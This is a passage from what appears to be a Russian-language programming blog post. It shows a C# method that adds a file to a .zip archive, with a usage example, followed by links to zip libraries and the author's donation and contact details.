  <p id="zaGw">Теперь запишем метод который добавляет файлы в архив <strong>.Zip</strong></p>
  <pre id="vmYw">/// &lt;summary&gt;
/// Метод для добавления файла в .Zip архив
/// &lt;/summary&gt;
/// &lt;param name=&quot;zipfile&quot;&gt;Полный путь к .Zip архиву&lt;/param&gt;
/// &lt;param name=&quot;inputfile&quot;&gt;Путь к файлу для добавления в .Zip архив&lt;/param&gt;
/// &lt;param name=&quot;compressionlevel&quot;&gt;Метод сжатия&lt;/param&gt;
public static void AddFileInZip(string zipfile, string inputfile, CompressionLevel compressionlevel)
{
  try
  {
     using ZipArchive za = ZipFile.Open(zipfile, ZipArchiveMode.Update);
     za?.CreateEntryFromFile(inputfile, Path.GetFileName(inputfile), compressionlevel);
  }
  catch (Exception ex) { throw new Exception(&quot;Ошибка: &quot;, ex); }
}</pre>
  <p id="ymrV">Использовать можно так:</p>
  <pre id="CmaS">private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
private static readonly string TargetFile = Path.Combine(Desktop, &quot;11.jpg&quot;);
AddFileInZip(&quot;r3xq1.zip&quot;, TargetFile, CompressionLevel.Fastest);</pre>
  <hr />
  <p id="pc5o">Можно так же использовать сторонние библиотеки для архивации, вот некоторые из них:</p>
  <ul id="skKL">
    <li id="F0YG"><a href="https://www.nuget.org/packages/DotNetZip/" target="_blank">DotNetZip</a></li>
    <li id="pBl8"><a href="https://www.nuget.org/packages/Ionic.Zip/" target="_blank">IonicZip</a> </li>
    <li id="BiaX"><a href="https://www.nuget.org/packages/SevenZipSharp.Net45/" target="_blank">SevenZipSharp</a></li>
  </ul>
  <p id="LhpL">Примеры их использования куча, вы можете посмотреть реализации их методов на: <a href="https://stackoverflow.com" target="_blank">SO - StackOverFlow</a> <a href="https://www.cyberforum.ru/csharp-net/" target="_blank">CyberForum</a></p>
  <p id="d9th">На этом можно кончить и закончить.</p>
  <hr />
  <p id="gK8k">Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад</p>
  <p id="Lnzl"><strong>BTC</strong>: <code>1HVjr2GmsTeRKG78rLxmX4CeQBEH8fUAhR</code></p>
  <h2 id="DXQ6"><em>По всем вопросами пишите мне в:</em></h2>
  <ul id="EGHR">
    <li id="vCNf">Telegram: <a href="https://t.me/r3xq1_dev" target="_blank">@r3xq1</a> ( остерегайтесь фейков )</li>
    <li id="Gb4c">Jabber: <a href="mailto:r3xq1@jabber.ru" target="_blank">r3xq1@jabber.ru</a></li>
  </ul>
  <p id="Chkc"><a href="https://github.com/r3xq1" target="_blank">https://github.com/r3xq1</a></p>

]]></content:encoded></item></channel></rss>